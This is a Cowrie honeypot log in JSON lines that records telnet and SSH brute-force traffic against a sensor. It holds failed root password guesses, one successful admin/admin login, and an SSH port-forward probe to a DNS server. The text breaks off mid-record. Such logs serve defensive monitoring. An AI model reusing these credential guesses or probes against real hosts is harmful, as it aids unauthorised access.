{"eventid":"cowrie.session.closed","duration":48.977299213409424,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:25.387692Z","src_ip":"38.54.119.93","session":"d5c59dd81475","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55574,"dst_ip":"10.17.0.5","dst_port":23,"session":"61b05bdecf9c","protocol":"telnet","message":"New connection: 62.210.97.77:55574 (10.17.0.5:23) [session: 61b05bdecf9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:26.930227Z"}
{"eventid":"cowrie.session.closed","duration":33.84302568435669,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:29.103760Z","src_ip":"62.210.97.77","session":"2b701e377bc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55920,"dst_ip":"10.17.0.5","dst_port":23,"session":"41c8657acf31","protocol":"telnet","message":"New connection: 62.210.97.77:55920 (10.17.0.5:23) [session: 41c8657acf31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:30.331215Z"}
{"eventid":"cowrie.session.closed","duration":30.79465103149414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:30.353926Z","src_ip":"62.210.97.77","session":"30297db96208","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.18742775917053,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:30.630922Z","src_ip":"38.54.119.93","session":"39d035f5c0da","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"VbCdn123","message":"login attempt [root/VbCdn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:32.074311Z","src_ip":"213.209.159.158","session":"3e3700f1d173","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":40004,"dst_ip":"10.17.0.5","dst_port":23,"session":"36fd6bbb0e6d","protocol":"telnet","message":"New connection: 165.232.131.181:40004 (10.17.0.5:23) [session: 36fd6bbb0e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:32.562032Z"}
{"eventid":"cowrie.session.closed","duration":43.12692952156067,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:33.106117Z","src_ip":"165.232.131.181","session":"645ceb29527c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.793558359146118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:34.697234Z","src_ip":"62.210.97.77","session":"34b5f3e42f09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.4","message":"Connection lost after 15.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:35.359601Z","src_ip":"213.209.159.158","session":"3e3700f1d173","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":49670,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ab4f4f2e3ea","protocol":"ssh","message":"New connection: 213.209.159.158:49670 (10.17.0.5:22) [session: 3ab4f4f2e3ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:35.468471Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":33066,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fa9936f128b","protocol":"telnet","message":"New connection: 38.54.119.93:33066 (10.17.0.5:23) [session: 8fa9936f128b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:37.930698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:38.056466Z","src_ip":"213.209.159.158","session":"3ab4f4f2e3ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:38.060131Z","src_ip":"213.209.159.158","session":"3ab4f4f2e3ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":39646,"dst_ip":"10.17.0.5","dst_port":23,"session":"55339bea6c35","protocol":"telnet","message":"New connection: 165.232.131.181:39646 (10.17.0.5:23) [session: 55339bea6c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:38.561262Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47014,"dst_ip":"10.17.0.5","dst_port":23,"session":"e52cc1120df0","protocol":"telnet","message":"New connection: 62.210.97.77:47014 (10.17.0.5:23) [session: e52cc1120df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:38.797625Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47020,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e8e32ec3d66","protocol":"telnet","message":"New connection: 62.210.97.77:47020 (10.17.0.5:23) [session: 7e8e32ec3d66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:39.738652Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":36166,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1f081ed2d3f","protocol":"telnet","message":"New connection: 38.54.119.93:36166 (10.17.0.5:23) [session: e1f081ed2d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:41.132978Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47028,"dst_ip":"10.17.0.5","dst_port":23,"session":"733599394add","protocol":"telnet","message":"New connection: 62.210.97.77:47028 (10.17.0.5:23) [session: 733599394add]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:41.414271Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47036,"dst_ip":"10.17.0.5","dst_port":23,"session":"8261650ad3ae","protocol":"telnet","message":"New connection: 62.210.97.77:47036 (10.17.0.5:23) [session: 8261650ad3ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:42.491204Z"}
{"eventid":"cowrie.session.closed","duration":4.746983289718628,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:42.677590Z","src_ip":"38.54.119.93","session":"8fa9936f128b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":42288,"dst_ip":"10.17.0.5","dst_port":23,"session":"cac096a6cbbb","protocol":"telnet","message":"New connection: 165.232.131.181:42288 (10.17.0.5:23) [session: cac096a6cbbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:42.827177Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":40310,"dst_ip":"10.17.0.5","dst_port":23,"session":"7076a0dfd2f0","protocol":"telnet","message":"New connection: 65.60.27.33:40310 (10.17.0.5:23) [session: 7076a0dfd2f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:43.855932Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"UQV885!7","message":"login attempt [root/UQV885!7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:47.410435Z","src_ip":"213.209.159.158","session":"3ab4f4f2e3ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.142107963562012,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:49.997944Z","src_ip":"65.60.27.33","session":"7076a0dfd2f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:51.198677Z","src_ip":"213.209.159.158","session":"3ab4f4f2e3ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.397247076034546,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:51.258492Z","src_ip":"165.232.131.181","session":"f4c6e19cb4b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":40074,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2a616c0a3b3","protocol":"ssh","message":"New connection: 213.209.159.158:40074 (10.17.0.5:22) [session: d2a616c0a3b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:51.279619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:53.483631Z","src_ip":"213.209.159.158","session":"d2a616c0a3b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:53.488257Z","src_ip":"213.209.159.158","session":"d2a616c0a3b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.06586503982544,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:53.498857Z","src_ip":"65.60.27.33","session":"9dabfb9e5aaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.704060316085815,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:54.068129Z","src_ip":"62.210.97.77","session":"d48aa4b11595","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.60127568244934,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:54.779382Z","src_ip":"62.210.97.77","session":"8600af41be5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.50030207633972,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:56.345068Z","src_ip":"38.54.119.93","session":"3bbf79ef0e81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37444,"dst_ip":"10.17.0.5","dst_port":23,"session":"17bbc269c910","protocol":"telnet","message":"New connection: 62.210.97.77:37444 (10.17.0.5:23) [session: 17bbc269c910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:57.674055Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":50000,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d3b2f1243ec","protocol":"telnet","message":"New connection: 165.232.131.181:50000 (10.17.0.5:23) [session: 2d3b2f1243ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:58.895223Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45186,"dst_ip":"10.17.0.5","dst_port":23,"session":"34f0e3c6cb23","protocol":"telnet","message":"New connection: 62.210.97.77:45186 (10.17.0.5:23) [session: 34f0e3c6cb23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:02.307213Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":48086,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5c5026f2ab9","protocol":"telnet","message":"New connection: 165.232.131.181:48086 (10.17.0.5:23) [session: d5c5026f2ab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:02.326519Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"%username","message":"login attempt [root/%username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:02.641768Z","src_ip":"213.209.159.158","session":"d2a616c0a3b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.46517586708069,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:03.017873Z","src_ip":"165.232.131.181","session":"d11cd9eb2532","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.42130470275879,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:03.351424Z","src_ip":"62.210.97.77","session":"61b05bdecf9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.039437770843506,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:03.370556Z","src_ip":"62.210.97.77","session":"41c8657acf31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.87598395347595,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:03.445524Z","src_ip":"165.232.131.181","session":"7d3954356348","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":50838,"dst_ip":"10.17.0.5","dst_port":23,"session":"4758a63ac010","protocol":"telnet","message":"New connection: 165.232.131.181:50838 (10.17.0.5:23) [session: 4758a63ac010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:03.969420Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45190,"dst_ip":"10.17.0.5","dst_port":23,"session":"61c0003b209f","protocol":"telnet","message":"New connection: 62.210.97.77:45190 (10.17.0.5:23) [session: 61c0003b209f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:04.594624Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45204,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c3683d79c62","protocol":"telnet","message":"New connection: 62.210.97.77:45204 (10.17.0.5:23) [session: 6c3683d79c62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:05.158366Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":55212,"dst_ip":"10.17.0.5","dst_port":23,"session":"0698ee01aeb1","protocol":"telnet","message":"New connection: 165.232.131.181:55212 (10.17.0.5:23) [session: 0698ee01aeb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:05.206748Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":37450,"dst_ip":"10.17.0.5","dst_port":23,"session":"7761392a6f7b","protocol":"telnet","message":"New connection: 65.60.27.33:37450 (10.17.0.5:23) [session: 7761392a6f7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:05.759953Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":37558,"dst_ip":"10.17.0.5","dst_port":23,"session":"c09281afb5f0","protocol":"telnet","message":"New connection: 65.60.27.33:37558 (10.17.0.5:23) [session: c09281afb5f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:05.930478Z"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:06.101918Z","src_ip":"213.209.159.158","session":"d2a616c0a3b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":61932,"dst_ip":"10.17.0.5","dst_port":22,"session":"151b70919cea","protocol":"ssh","message":"New connection: 213.209.159.158:61932 (10.17.0.5:22) [session: 151b70919cea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:06.190426Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":37590,"dst_ip":"10.17.0.5","dst_port":23,"session":"54c14fa41d02","protocol":"telnet","message":"New connection: 65.60.27.33:37590 (10.17.0.5:23) [session: 54c14fa41d02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:06.970576Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":64604,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfa7f1468a79","protocol":"ssh","message":"New connection: 87.251.64.176:64604 (10.17.0.5:22) [session: dfa7f1468a79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:07.465464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:07.472959Z","src_ip":"87.251.64.176","session":"dfa7f1468a79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:07.572519Z","src_ip":"87.251.64.176","session":"dfa7f1468a79","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:07.874780Z","src_ip":"87.251.64.176","session":"dfa7f1468a79","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:07.974696Z","session":"dfa7f1468a79","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:08.079038Z","src_ip":"87.251.64.176","session":"dfa7f1468a79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:08.324115Z","src_ip":"87.251.64.176","session":"dfa7f1468a79","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:35:08.339946Z","src_ip":"213.209.159.158","session":"151b70919cea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"ma